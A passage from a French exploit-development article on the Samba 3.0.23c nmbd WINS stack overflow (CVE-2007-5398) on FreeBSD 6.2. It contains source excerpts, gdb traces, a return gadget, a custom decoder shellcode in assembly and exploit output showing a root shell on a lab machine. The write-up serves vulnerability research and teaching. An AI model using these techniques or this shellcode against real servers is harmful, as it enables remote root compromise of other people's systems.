avoir essayé de déclencher la vulnérabilité, il ne semble pas que cela soit
exploitable, à cause des cookies dans la pile. (Du moins, d'après mes
connaissances actuelles et ma compréhension).
Pour ce que j'en sais, apparemment OpenBSD et DragonFly BSD utilisent
tout deux SSP et d'autres mécanismes de sécurité.. mais j'ai difficilement
travaillé sur BSD , et je ne me soucie guère de leur fonctionnement (ou de
leur absence de fonctionnement)
--[ 5 - Écrire un exploit pour la version Samba 3.0.23c sur FreeBSD 6.2
----[ 5.1 - Vérifier les drapeaux d'enregistrements valides
Pour exploiter correctement le démon nmbd, on devra contrôler la disposition
de la pile avec précision. En examinant comment les données sont présentées,
on voit que le paramètre des drapeaux est employé avec ce dont l'hôte est
enregistré. À cause de restrictions potentielles, on doit valider les plages
qui sont valides et peuvent être employées.
En faisant quelques rapides recherches avec grep dans le code source de
samba, on trouve le code suivant qui modifie les drapeaux :
--------------------------------------------
nmbd_packets.c:
uint16 get_nb_flags(char *buf)
{
return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
}
../include/nameserv.h:#define NB_FLGMSK 0xE0
nmbd_winserver.c:
void wins_process_name_registration_request(struct subnet_record *subrec,
struct packet_struct *p)
{
...
if(registering_group_name && (question->name_type != 0x1c)) {
from_ip = *interpret_addr2("255.255.255.255");
}
...
--------------------------------------------
D'après ce qui précède, on voit que les seuls bits définis dans la requête
des drapeaux sont valides, et selon ce que sont ces bits, ils peuvent
modifier l'adresse ip associée avec la requête de registre. Pour simplifier
les choses, nous procéderons en utilisant 0x0000 comme drapeau et nous
exploiterons le résultat obtenu.
--[ 5.2 - Ordonner correctement les données de la pile
Samba stocke les enregistrements NMB au format tdb<link
linkend='nextsect'>4</link>, un terminal de base de données conçu par
l'équipe de Samba pour éviter de réimplémenter le même code plusieurs fois
dans Samba.
À cause du mécanisme employé par tdb, la façon dont nmbd renvoie nos
enregistrements de drapeaux et nos adresses ip ne sont pas nécessairement
dans l'ordre où nous les enregistrons. Une analyse plus poussée révèle que
nous forçons une disposition particulière afin de l'exploiter correctement.
En observant comment les noms sont recherchés, on voit :
--------------------------------------------
nmbd_winsserver.c:
static void process_wins_dmb_query_request(struct subnet_record *subrec,
struct packet_struct *p)
{
...
fetch_all_active_wins_1b_names();
...
void fetch_all_active_wins_1b_names(void)
{
tdb_traverse(wins_tdb, fetch_1b_traverse_fn, NULL);
}
/***********************************************************************
Recherche tous les noms *<1b> depuis la db WINS et les stocke dans une
liste de noms.
***********************************************************************/
static int fetch_1b_traverse_fn(TDB_CONTEXT *tdb, TDB_DATA kbuf, TDB_DATA
dbuf, void *state)
{
struct name_record *namerec = NULL;
if (kbuf.dsize != sizeof(unstring) + 1) {
return 0;
}
/* Filter out all non-1b names. */
if (kbuf.dptr[sizeof(unstring)] != 0x1b) {
return 0;
}
namerec = wins_record_to_name_record(kbuf, dbuf);
if (!namerec) {
return 0;
}
DLIST_ADD(wins_server_subnet->namelist, namerec);
return 0;
}
--------------------------------------------
fetch_all_active_wins_1b_names() fait simplement appel à tdb_traverse() avec
une fonction de rappel de fetch_1b_traverse_fn(), qui l'ajoute dans un cache
mémoire de nom temporaire, au début d'une liste doublement chaînée.
Observant tdb_traverse(), il fait appel à tdb_traverse_internal(), où la
majorité du travail s'effectue. À ce stade, il est probablement plus facile
de regarder comment les données sont stockées dans la base de données, ce
qui se produit dans tdb_store().
--------------------------------------------
/* stocke un élément dans la base de données, remplacant tout élément existant avec la même clé
renvoie 0 en cas de succes, -1 en cas d'echec
*/
int tdb_store(struct tdb_context *tdb, TDB_DATA key, TDB_DATA dbuf,
int flag)
{
...
/* find which hash bucket it is in */
hash = tdb->hash_fn(&key);
if (tdb_lock(tdb, BUCKET(hash), F_WRLCK) == -1)
return -1;
...
nmbd/nmbd_processlogon.c:tdb = tdb_open_log(lock_path("connections.tdb"),0,
nmbd/nmbd_winsserver.c: wins_tdb = tdb_open_log(lock_path("wins.tdb"), 0,
TDB_DEFAULT|TDB_CLEAR_IF_FIRST, O_CREAT|O_RDWR, 0600);
tdb_private.h:#define BUCKET(hash) ((hash) % tdb->header.hash_size)
struct tdb_context *tdb_open(const char *name,int hash_size, int tdb_flags,
int open_flags, mode_t mode)
...
if (hash_size == 0)
hash_size = DEFAULT_HASH_SIZE;
tdb_private.h:#define DEFAULT_HASH_SIZE 131
--------------------------------------------
D'après ceci, on peut voir qu'on doit employer hash_fn() (qui pallie à
default_tdb_hash()) , et ensuite on doit moduler le résultat du hash par
DEFAULT_HASH_SIZE. En générant des noms qui hashent à 130, on peut placer
nos données dans l'ordre sur la pile, après les enregistrements 0x1b
existant déjà. Avant de lancer un exploit, on doit voir combien il y a
d'enregistrements 0x1b, afin que la pile soit débordée correctement.
Ceci me rappelle les les attaques algorithmiques de complexité, soulignées
ici [5]. Même si ce n'est pas directement lié, c'est toujours intéressant
néanmoins.
----[ 5.3 - Analyse du programme de l'exécution</title>
En déclenchant la vulnérabilité et en examinant la disposition de la pile,
on voit que l'eip enregistré peut être écrasé en partie, avec deux octets.
Si nous l'écrasons une fois de plus, les deux premiers octets de l'eip
seront les deux octets de drapeau, et ils écraseront le premier argument de
la fonction. Après le débordement de la valeur de orig_packet, le code nmbd
l'indexera, pour copier une valeur de 4 octets, comme ci-dessous.
--------------------------------------------
nmbd_packets.c, send_reply_packet():
973 packet.fd = orig_packet->fd;
--------------------------------------------
Selon l'analyse, un débordement partiel des deux octets de l'eip les moins
signifiants semble être la meilleure ligne de conduite, car il est peu
probable que l'on puisse mettre quelque chose d'utile dans les deux octets
principaux (à cause des drapeaux). Le débordement des deux octets les moins
signifiants avec D"'s, affiche :
--------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
0x08074444 in packet_is_for_wins_server ()
(gdb) x/10i
0x8074444 <packet_is_for_wins_server+236>: mov 0x400(%ebx),%eax
0x807444a <packet_is_for_wins_server+242>: mov (%eax),%eax
0x807444c <packet_is_for_wins_server+244>: cmpl $0x9,(%eax)
0x807444f <packet_is_for_wins_server+247>: jle 0x80743a1
<packet_is_for_wins_server+73>
0x8074455 <packet_is_for_wins_server+253>: push $0x1fa
0x807445a <packet_is_for_wins_server+258>: lea 0xfffd66ad(%ebx),%eax
0x8074460 <packet_is_for_wins_server+264>: push %eax
0x8074461 <packet_is_for_wins_server+265>: lea 0xfffd6479(%ebx),%eax
0x8074467 <packet_is_for_wins_server+271>: push %eax
0x8074468 <packet_is_for_wins_server+272>: push $0xa
(gdb) i r ebx
ebx 0x0 0
(gdb) i r
eax 0x1 1
ecx 0x2834fd80 674561408
edx 0x40 64
ebx 0x0 0
esp 0xbfbfe540 0xbfbfe540
ebp 0x44440000 0x44440000
esi 0x0 0
edi 0x41414141 1094795585
eip 0x8074444 0x8074444
eflags 0x10282 66178
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
--------------------------------------------
On peut voir que nous contrôlons complètement edi et à un degré moindre ebp.
En observant le désassemblage de l'épilogue applicable de la fonction
reply_netbios_packet(), on voit :
--------------------------------------------
.text:0806D0A0 pop edi
.text:0806D0A1 leave
.text:0806D0A2 retn
--------------------------------------------
Pour obtenir le contrôle complet de l'eip, on peut chercher un jmp edi ou un
push edi ; ret. Après quelques recherches dans 0x0807xxxx, on trouve une
séquence d'instructions appropriée (avec des moyens incroyablement douteux
.. mais cela fonctionne :p) :
--------------------------------------------
freebsd62# objdump -d nmbd | egrep -i "^ 807.*57 c[23]"
80728a4: e8 57 c2 04 00 call 80beb00 <x_fclose>
--------------------------------------------
qui est transféré dans un push edi ; ret 0x04. En plaçant nos deux derniers octets dans 0x080728a5, on peut obtenir un contrôle directement :
--------------------------------------------
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...y
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
--------------------------------------------
À ce stade, on doit obtenir le shellcode fonctionnant correctement.
En repensant à la manière dont les données sont présentées ([drapeaux 2
octets, les deux nuls][adresse ip 4 octets ]) .. la meilleure approche est
d'écrire un décodeur personnalisé.
----[ 5.4 - shellcode
Comme abordé ci-dessus, on devrait avoir besoin d'un décodeur spécial, ainsi
on pourra utiliser un shellcode générique disponible, contrairement à la
mise en oeuvre d'un shellcode commun pour le tiers des octets.
Après quelques expériences, j'ai écrit un shellcode qui reconstruit 4 octets,
puis saute 2 octets, puis saute vers l'endroit où on a reconstruit le
shellcode.
Le shellcode est le suivant (nasm -f bin first_layer_sc.asm -o
first_layer_sc.bin à compiler.). Au début du shellcode, edi pointe sur notre
eip actuel.
--------------------------------------------
BITS 32
%define tbnop add byte [eax],0x0 ; 0x80 0x00 0x00
_start:
add [eax], al ; two byte nulls, for flags.
cld ; reset direction flag
mov eax, edi ; since our two byte nop dereferences [eax]
; we need a writable memory location.
tbnop
mov esi, edi ; ESI = source of encoded shellcode
nop
tbnop
add esi, byte 60 ; increment esi to start of real shellcode
tbnop
mov edi, esp ; Place we're going to execute
nop
tbnop
xor ecx, ecx
nop
tbnop
mov cl, byte 0x7e ; how many bytes we want to copy. Can copy up
; 126 bytes or so. This can be fixed if
; nessessacy
nop
tbnop
.copier:
movsd
nop
nop
tbnop
add esi, byte 0x02
tbnop
loopnz .copier
.ready:
jmp esp
--------------------------------------------
Pour la seconde couche du shellcode, on peut employer le shellcode qu'on
veut. Pour plus de flexibilité, j'ai utilisé le paquetage InlineEgg <link
linkend='nextsect'>6</link> pour ajouter une plus grande flexibilité à la
seconde couche du shellcode.
Le codage du shellcode pour l'enregistrement des paquets est extrêmement
simple. Changez l'endian ou l'ordre des 4 octets et ajoutez deux octets NULL.
Dans le meilleur des cas, la seconde couche du shellcode encoderait
l'information d'enregistrement du shell par dessus l'interface de connexion
existante ou l'information fd, en employant le protocole nmb
S'il existait un exploit plus utile, il serait intéressant de prendre le
temps de programmer le code requis.
----[ 5.5 - Obtenir un shell
En combinant l'information ci-dessus, et en déterminant l'emplacement du
shellcode dans la pile, on peut obtenir un :
--------------------------------------------
[target machine]
(gdb) shell rm /var/db/samba/wins.*
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x28065af0 in ?? ()
(gdb) # This happened because our nmbd executed a new program
(gdb) c
[attacking machine]
$ python CVE-2007-5398.py --host 172.16.178.128 --target 0
Hit y if you want to test registration flags, otherwise just hit enter>
Existing registrations: 0
Amount of registrations to reach EIP: 239
Got 0 existing registrations. Hit any key to continue...
First layer of shellcode is 66 bytes long
Second layer of shellcode is 246 bytes long
Names: |==========================================================| 100.00
Registering: |====================================================| 100.00
stack left over:
Please hit enter to send final packet...
Attempting to connect to 172.16.178.128:31337
-------------------------------------------
You are in luck; it appears to of worked... shell below.
--
# It worked
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
# uname -a
FreeBSD freebsd62 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27
2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
--------------------------------------------
Ainsi, avec beaucoup de recherches et d'analyses, on est seulement à
mi-chemin ici. Cela serait préférable d'avoir un meilleur endroit de retour.
----[ 5.6 - Rendre l'exploit plus fiable
Actuellement, notre exploit a deux entrées codées en dur, la première est
celle où l'emplacement de la séquence de code utilise edi pour obtenir
l'exécution du code (jusqu'ici, 0x080728a5 pour notre cible actuelle depuis
FreeBSD 6.2 ). En plus, elle emploie l'emplacement exact du début du
shellcode. Pour des raisons diverses, l'adresse de la pile peut changer
facilement pour une adresse exacte, pour des raisons diverses telles que :
* Démarrer ou redémarrer nmbd manuellement
* Des chaînes d'environnement différentes
* Dans les dernières séries de Linux 2.6, la randomisation de la mémoire
est activée par défaut, pour certaines applications
Il existe plusieurs occasions de rendre cet exploit plus fiable, comme
ajouter de longues séquences de nop ou peut-être placer ou trouver un code
approprié ailleurs.
Une séquence élevée de nop peut aider, mais un tiers des bits sont NULL où
inutiles, ainsi c'est discutable. En plus, cela signifie si la plage est
précise que nous avons seulement deux tiers de chance de viser une séquence
de nop adéquate, par opposition à un crash pur et simple (comme ?? encode
pour ajouter [eax], al, et puisque eax sera un <link
linkend='nextsect'>1</link> quand la séquence de nop est atteinte, il sera
écrasé.) Ainsi, pour l'instant, nous chercherons une autre place ou un autre
moyen fiable de contrôle d'exécution.
------[ 5.6.1 - Données static .bss</title>
Toute en analysant cette vulnérabilité, je remarque une fonction
intéressante qui est appelée lors de l'envoi de paquets enregistrés :
--------------------------------------------
nmbd/nmbd_winsserver.c:
/*************************************************************************
Écrase ou ajoute un nom donné dans wins.tdb.
*************************************************************************/
static BOOL store_or_replace_wins_namerec(const struct name_record *namerec
,int tdb_flag)
{
TDB_DATA key, data;
int ret;
if (!wins_tdb) {
return False;
}
key = name_to_key(&namerec->name);
data = name_record_to_wins_record(namerec);
if (data.dptr == NULL) {
return False;
}
ret = tdb_store(wins_tdb, key, data, tdb_flag);
SAFE_FREE(data.dptr);
return (ret == 0) ? True : False;
}
...
/*************************************************************************
Create key. Key is UNIX codepage namestring (usually utf8 64 byte len)
with 1 byte type.
*************************************************************************/
static TDB_DATA name_to_key(const struct nmb_name *nmbname)
{
static char keydata[sizeof(unstring) + 1];
TDB_DATA key;
memset(keydata, '?', sizeof(keydata));
pull_ascii_nstring(keydata, sizeof(unstring), nmbname->name);
strupper_m(keydata);
keydata[sizeof(unstring)] = nmbname->name_type;
key.dptr = keydata;
key.dsize = sizeof(keydata);
return key;
}
--------------------------------------------
Le plus intéressant dans ce qui précède est le static char
keydata[sizeof(unstring) + 1]; qui fournit la capacité de de placer jusqu'à
64 octets dans un emplacement statique dans le .bss. Cependant, puisque les
noms NetBIOS ont une longueur de 15 caractères, il y a encore une bonne
portion de code qui pourrait être insérée ici. Quelques informations à
propos de petits shellcodes peuvent être trouvées ici [7].
name_to_key() est appelée depuis trois emplacements dans le code, avec des
noms explicites (sans inclure le store_or_replace_wins_namerec() ci-dessus :
--------------------------------------------
/*************************************************************************
Delete a given name in the tdb and remove the temporary malloc'ed data
struct on the linked list.
*************************************************************************/
BOOL remove_name_from_wins_namelist(struct name_record *namerec)
{
...
struct name_record *find_name_on_wins_subnet(const struct nmb_name *nmbname
,BOOL self_only)
{
...
--------------------------------------------
L'intérêt est dans store_or_replace_wins_namerec() qui est appelé quand on
envoie un enregistrement de paquets pour déclencher le débordement. On peut
être capable d'envoyer un court shellcode approprié qui trouve notre
chargeur de shellcode dans la pile (ou, avec plus d'efforts, sur le tas,
évitant de ce fait les retouches non-exécutables de style Openwall).
Pouvoir employer cet emplacement statique nous donne quelques avantages sur
la randomisation et les changements de la pile
En examinant plus avant pull_ascii_nstring(), on voit qu'il met en
correspondance des pages de code DOS avec des pages de code <systemitem
class="osname">UNIX</systemitem>, particulièrement à propos des octets avec
des bits de poids fort mis. Malheureusement, il modifie sévèrement l'entrée
(via la phase de translation), met ensuite la chaîne en majuscule. J'ai
essayé les restrictions ci-dessus et je n'ai rien obtenu qui fonctionne,
mais cela passe outre la restriction de longueur. Cela fonctionne ainsi :
* push esp
* pop ebp
* push edi
* pop esp
* utiliser pop pour accéder au code que nous exécutons
* utiliser la conversion de casse de caractères pour obtenir
4 octets avec le bit le plus signifiant défini à 1.
* Utiliser xor [edi+index], reg pour modifier le code
applicatif que nous exécutons, ensuite faire quelque
chose équivalent à sub ebp, <offset&#62; ; jmp ebp
Si quiconque implémente un shellcode adéquat qui s'adapte à ces
restrictions, je serai fortement intéressé. Je pense que plus de temps et de
motivation seraient nécessaire, et que rétrospectivement la solution
pourrait être évidente. De plus, on peut contrôler le contenu des deux
octets supérieurs de ebp, ce qui pourrait être utile pour coder le shellcode.
Peut-être quelque chose de la sorte :
* push ebp
* inc esp ; saute le bit nul
* inc esp
* l'octet dont le bit de poid fort est mis qui est
déplacé dans un 0xc3 (instruction ret)
* Les deux octets arbitraires exécutés doivent être
choisis soigneusement. Un jmp vers l'arrière peut
fonctionner, mais certaines structures de données
ne peuvent pas être modifiées au hasard car nmbd
sera écrasé avant que l'exécution ait lieu.
On pourrait employer l'autre adresse statique potentielle suivante :
--------------------------------------------
libsmb/nmblib.c:
1123 static unsigned char sort_ip[4];
1124
1125 /*********************************************************************
1126 Compare deux enregistrements de réponse de requête.
1127 *********************************************************************/
1128
1129 static int name_query_comp(unsigned char *p1, unsigned char *p2)
1130 {
1131 return matching_quad_bits(p2+2, sort_ip) -
matching_quad_bits(p1+2, sort_ip);
1132 }
1133
1134 /*********************************************************************
1135 Trie un ensemble d'enregistrements de réponse de requête en 6 bits
de sorte que les IPs qui ont le plus de bits
1136 principaux en commmun
1136 avec les adresses indiquées soient en premier.
1137 *********************************************************************/
1138
1139 void sort_query_replies(char *data, int n, struct in_addr ip)
1140 {
1141 if (n <= 1)
1142 return;
1143
1144 putip(sort_ip, (char *)&ip);
1145
1146 qsort(data, n, 6, QSORT_CAST name_query_comp);
1147 }
--------------------------------------------
qui est accessible depuis nmbd/nmbd_winsserver.c :
--------------------------------------------
1831 void send_wins_name_query_response(int rcode, struct packet_struct *p,
1832 struct name_record *namerec)
1833 {
1834 char rdata[6];
1835 char *prdata = rdata;
1836 int reply_data_len = 0;
1837 int ttl = 0;
1838 int i;
1839
1840 memset(rdata,'?',6);
1841
1842 if(rcode == 0) {
1843 ttl = (namerec->data.death_time != PERMANENT_TTL) ?
namerec->data.death_time - p->timestamp : lp_max_wi ns_ttl();
1844
1845 /* Copie toutes les adresses ip connues dans les données de
retour. */
1846 /* Optimise pour le cas commun d'une adresse IP, ainsi nous
n'avons pas besoin de malloc. */
1847
1848 if( namerec->data.num_ips == 1 ) {
1849 prdata = rdata;
1850 } else {
1851 if((prdata = (char *)
SMB_MALLOC( namerec->data.num_ips * 6 )) == NULL) {
1852 DEBUG(0,("send_wins_name_query_response: malloc fail !
"));
1853 return;
1854 }
1855 }
1856
1857 for(i = 0; i < namerec->data.num_ips; i++) {
1858 set_nb_flags(&prdata[i*6],namerec->data.nb_flags);
1859 putip((char *)&prdata[2+(i*6)], &namerec->data.ip[i]);
1860 }
1861
1862 sort_query_replies(prdata, i, p->ip);
1863 reply_data_len = namerec->data.num_ips * 6;
1864 }
1865
--------------------------------------------
Toutefois je n'ai pas exploré ce chemin complètement, car je ne crois pas
que cela serait d'un grand secours.
Après avoir regardé ce qu'on pouvait faire avec de telles restrictions, j'ai
commencé à examiner le code pour voir s'il y avait des mécanismes plus
simples qui aideraient à exploiter cette faille correctement. J'ai remarqué
quelques tampons statiques (static buffer) qui pourraient être utiles, mais
il faut activer le débogage pour qu'ils soient exploités correctement - ce
n'est pas exactement ce dont à besoin un exploit fiable.
------[5.6.2 - Fuite de mémoire
Durant le processus initial visant à reproduire le problème, j'ai noté que
nmbd essaye de lire depuis la mémoire que nous contrôlons - peut-être qu'on
peut trouver une fuite de mémoire ou d'information utile. En commençant à
placer toutes les adresses ip NULL dans AABB, on rencontre le premier
écrasement :
--------------------------------------------
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
Program received signal SIGSEGV, Segmentation fault.
0x080adc67 in debug_nmb_res_rec ()
(gdb) bt
#0 0x080adc67 in debug_nmb_res_rec ()
#1 0x080ae023 in debug_nmb_packet ()
#2 0x0806d1f8 in reply_netbios_packet ()
#3 0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i
0x80adc67 <debug_nmb_res_rec+47>: mov 0x60(%edx),%ecx
0x80adc6a <debug_nmb_res_rec+50>: test %ecx,%ecx
0x80adc6c <debug_nmb_res_rec+52>: je 0x80add89 <debug_nmb_res_rec+337>
0x80adc72 <debug_nmb_res_rec+58>: cmp $0xffffff9c,%edx
0x80adc75 <debug_nmb_res_rec+61>: je 0x80add89 <debug_nmb_res_rec+337>
0x80adc7b <debug_nmb_res_rec+67>: cmp $0x0,%ecx
0x80adc7e <debug_nmb_res_rec+70>: movl $0x0,0xffffffe8(%ebp)
0x80adc85 <debug_nmb_res_rec+77>: jle 0x80add89 <debug_nmb_res_rec+337>
0x80adc8b <debug_nmb_res_rec+83>: mov 0x400(%ebx),%eax
0x80adc91 <debug_nmb_res_rec+89>: mov %eax,0xffffffe0(%ebp)
(gdb) i r edx ecx
edx 0x41414242 1094795842
ecx 0x42420000 1111621632
(gdb) bt
#0 0x080adc67 in debug_nmb_res_rec ()
#1 0x080ae023 in debug_nmb_packet ()
#2 0x0806d1f8 in reply_netbios_packet ()
#3 0x080728a5 in write_browse_list ()
--------------------------------------------
Démarrons notre analyse à debug_nmb_packet() dans libsmb/nmblib.c :
--------------------------------------------
103
104 /********************************************************************
105 Traitement d'un paquet nmb.
106 ********************************************************************/
107
108 void debug_nmb_packet(struct packet_struct *p)
109 {
110 struct nmb_packet *nmb = &p->packet.nmb;
111
112 if( DEBUGLVL( 4 ) ) {
...
131 }
132
133 if (nmb->header.qdcount) {
134 DEBUGADD( 4, ( " question: q_name=%s q_type=%d q_class=%d
",
...
138 }
139
140 if (nmb->answers && nmb->header.ancount) {
141 debug_nmb_res_rec(nmb->answers,"answers");
142 }
143 if (nmb->nsrecs && nmb->header.nscount) {
144 debug_nmb_res_rec(nmb->nsrecs,"nsrecs");
145 }
146 if (nmb->additional && nmb->header.arcount) {
147 debug_nmb_res_rec(nmb->additional,"additional");
148 }
149 }
(gdb) frame 1
#1 0x080ae023 in debug_nmb_packet ()
(gdb) x/8x
0xbfbfdef0: 0x00000000 0x00000000 0x4795ddfa 0x08117a40
0xbfbfdf00: 0xbfbfe210 0x0000059a 0xbfbfe538 0x0806d1f8
Imaginons que 0xbfbfe210 est notre paquet nmb :
(gdb) x/x 0xbfbfe210
0xbfbfe210: 0x41414242
(gdb) x/20x 0xbfbfe210
0xbfbfe210: 0x41414242 0x42420000 0x00004141 0x41414242
0xbfbfe220: 0x42420000 0x00004141 0x41414242 0x42420000
0xbfbfe230: 0x00004141 0x41414242 0x42420000 0x00004141
0xbfbfe240: 0x41414242 0x42420000 0x00004141 0x41414242
0xbfbfe250: 0x42420000 0x00004141 0x41414242 0x42420000
--------------------------------------------
Ainsi, notre analyse précédente se confirme. Nous avons écrasé certaines
structures de données recherchées. En continuant, dans debug_nmb_res_rec(),
on voit :
--------------------------------------------
61 /*********************************************************************
62 Copie d'une structure res_rec.
63 *********************************************************************/
64
65 static void debug_nmb_res_rec(struct res_rec *res, const char *hdr)
66 {
67 int i, j;
68
69 DEBUGADD( 4, ( " %s: nmb_name=%s rr_type=%d rr_class=%d ttl=%d
",
70 hdr,
71 nmb_namestr(&res->rr_name),
72 res->rr_type,
73 res->rr_class,
74 res->ttl ) );
75
76 if( res->rdlength == 0 || res->rdata == NULL )
77 return;
78
79 for (i = 0; i < res->rdlength; i+= MAX_NETBIOSNAME_LEN) {
80 DEBUGADD(4, (" %s %3x char ", hdr, i));
81
82 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
83 unsigned char x = res->rdata[i+j];
84 if (x < 32 || x > 127)
85 x = '.';
86
87 if (i+j >= res->rdlength)
88 break;
89 DEBUGADD(4, ("%c", x));
90 }
91
92 DEBUGADD(4, (" hex "));
93
94 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
95 if (i+j >= res->rdlength)
96 break;
97 DEBUGADD(4, ("%02X", (unsigned char)res->rdata[i+j]));
98 }
99
100 DEBUGADD(4, ("
"));
101 }
102 }
103
--------------------------------------------
Ce code n'est pas très utile à ce stade. Si les pointeurs étaient valides,
cela fonctionnerait (sans surprise).
En regardant le flux de code de send_packet(), (le code est ci-dessus), on
dénote un code intéressant que l'on peut utiliser pour notre fuite
d'information.
--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x080ada3d in put_nmb_name ()
(gdb) bt
#0 0x080ada3d in put_nmb_name ()
#1 0x080ae26a in put_res_rec ()
#2 0x080af184 in build_packet ()
#3 0x080af236 in send_packet ()
#4 0x0806d38a in reply_netbios_packet ()
#5 0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i
0x80ada3d <put_nmb_name+49>: repz cmpsb %es:(%edi),%ds:(%esi)
0x80ada3f <put_nmb_name+51>: jne 0x80adab5 <put_nmb_name+169>
0x80ada41 <put_nmb_name+53>: mov 0x8(%ebp),%edi
0x80ada44 <put_nmb_name+56>: pushl 0x50(%edi)
0x80ada47 <put_nmb_name+59>: push $0x0
0x80ada49 <put_nmb_name+61>: pushl 0xffffffcc(%ebp)
0x80ada4c <put_nmb_name+64>: lea 0xffffffd8(%ebp),%eax
0x80ada4f <put_nmb_name+67>: push %eax
0x80ada50 <put_nmb_name+68>: call 0x80ad98c <put_name>
0x80ada55 <put_nmb_name+73>: mov 0xffffffd4(%ebp),%edx
(gdb) i r edi esi
edi 0x8102db9 135278009
esi 0x0 0
--------------------------------------------
Malheureusement, ce qui précède est écrasé à cause d'un pointeur NULL
déréférencé dans esi quand on test le contenu du nom. (Ce bout de code est
lancé par la vérification quand le nom est testé par rapport à '*' dans
put_nmb_name().)
À ce stade, j'ai décidé qu'il était probablement plus facile d'analyser le
contenu de reply_netbios_packet() de sorte qu'on puisse voir exactement ce
qui est écrasé, à quel endroit, et établir quels en sont les effets.
Nous utiliserons à cet effet IDA Pro Standard 5.2
D'abord, examinons plus attentivement ce qui se passe dans le code source,
cela nous aidera dans l'analyse assembleur
--------------------------------------------
nmbd/nmbd_winsserver.c:
856 /*********************************************************************
857 Réponse à un paquet de nom netbios. voir rfc1002.txt
858 *********************************************************************/
859
860 void reply_netbios_packet(struct packet_struct *orig_packet,
861 int rcode, enum netbios_reply_type_code rcv_code, int opcode,
862 int ttl, char *data,int len)
863 {
864 struct packet_struct packet;
865 struct nmb_packet *nmb = NULL;
866 struct res_rec answers;
867 struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
868 BOOL loopback_this_packet = False;
869 int rr_type = RR_TYPE_NB;
870 const char *packet_type = "unknown";
871
872 /* Check if we are sending to or from ourselves. */
873 if(ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port))
874 loopback_this_packet = True;
875
876 nmb = &packet.packet.nmb;
877
...
965 if (data && len) {
966 nmb->answers->rdlength = len;
967 memcpy(nmb->answers->rdata, data, len);
968 }
969
...
Malheureusement, le pointeur nmb n'est pas utilisé après la ligne 967.
...
include/nameserv.h:
524
525 struct packet_struct
526 {
527 struct packet_struct *next;
528 struct packet_struct *prev;
529 BOOL locked;
530 struct in_addr ip;
531 int port;
532 int fd;
533 time_t timestamp;
534 enum packet_type packet_type;
535 union {
536 struct nmb_packet nmb;
537 struct dgram_packet dgram;
538 } packet;
539 };
540
..
459 /* An nmb packet. */
460 struct nmb_packet {
461 struct {
462 int name_trn_id;
463 int opcode;
464 BOOL response;
465 struct {
466 BOOL bcast;
467 BOOL recursion_available;
468 BOOL recursion_desired;
469 BOOL trunc;
470 BOOL authoritative;
471 } nm_flags;
472 int rcode;
473 int qdcount;
474 int ancount;
475 int nscount;
476 int arcount;
477 } header;
478
479 struct {
480 struct nmb_name question_name;
481 int question_type;
482 int question_class;
483 } question;
484
485 struct res_rec *answers;
486 struct res_rec *nsrecs;
487 struct res_rec *additional;
488 };
...
441 /* A resource record. */
442 struct res_rec {
443 struct nmb_name rr_name;
444 int rr_type;
445 int rr_class;
446 int ttl;
447 int rdlength;
448 char rdata[MAX_DGRAM_SIZE];
449 };
450
...
include/smb.h:
1718 /* A netbios name structure. */
1719 struct nmb_name {
1720 nstring name;
1721 char scope[64];
1722 unsigned int name_type;
1723 };
...
1712 #define MAX_NETBIOSNAME_LEN 16
1713 /* DOS character, NetBIOS namestring. Type used on the wire. */
1714 typedef char nstring[MAX_NETBIOSNAME_LEN];
1715 /* Unix character, NetBIOS namestring. Type used to manipulate name in
nmbd. */ 1716 typedef char unstring[MAX_NETBIOSNAME_LEN*4];
--------------------------------------------
En observant la structure de nmb_packet, on voit qu'il peut être utile
d'écraser le qdcount, et de définir un compte pour ancount, nscount ou
adcount (qui dresse la carte des pointeurs, respectivement : answers, nsrec
et additional). Puisqu'ils comprennent 12 octets, on peut directement
contrôler un ensemble de ces derniers. Heureusement, le contrôle des
arguments count établit un contrôle direct du même pointeur, autrement nous
rencontrerions des problèmes supplémentaires.
En observant la disposition de ces structures, un moyen de mettre ceci en
place serait d'analyser la disposition de la pile, et de recréer les
structures dans le code de l'exploit, qui serait alors sérialisé ou envoyé à
travers le réseau.
L'inconvénient de ce modèle est qu'il a besoin de flexibilité supplémentaire
à cause de la différence entre la sortie du compilateur selon les
différentes versions, et les drapeaux, options, optimisations
potentiellement différentes de compilateur de même qu'on peut rencontrer des
remplissages et des commandes supplémentaires et d'autres choses à traiter.
Un problème supplémentaire en contrôlant un pointeur vers un struct res_rec
est que le champ rdlength doit comporter une valeur raisonnable, sinon il
sera écrase dans memcpy ou entraînera un écrasement de l'EIP dans la
fonction sendpacket() dans char buf[1024];. Ces deux conséquences
entraîneraient un crash du processus :(. Comme il s'agit d'une simple
vulnérabilité, l'entraîner vers un crash potentiel est inadmissible.
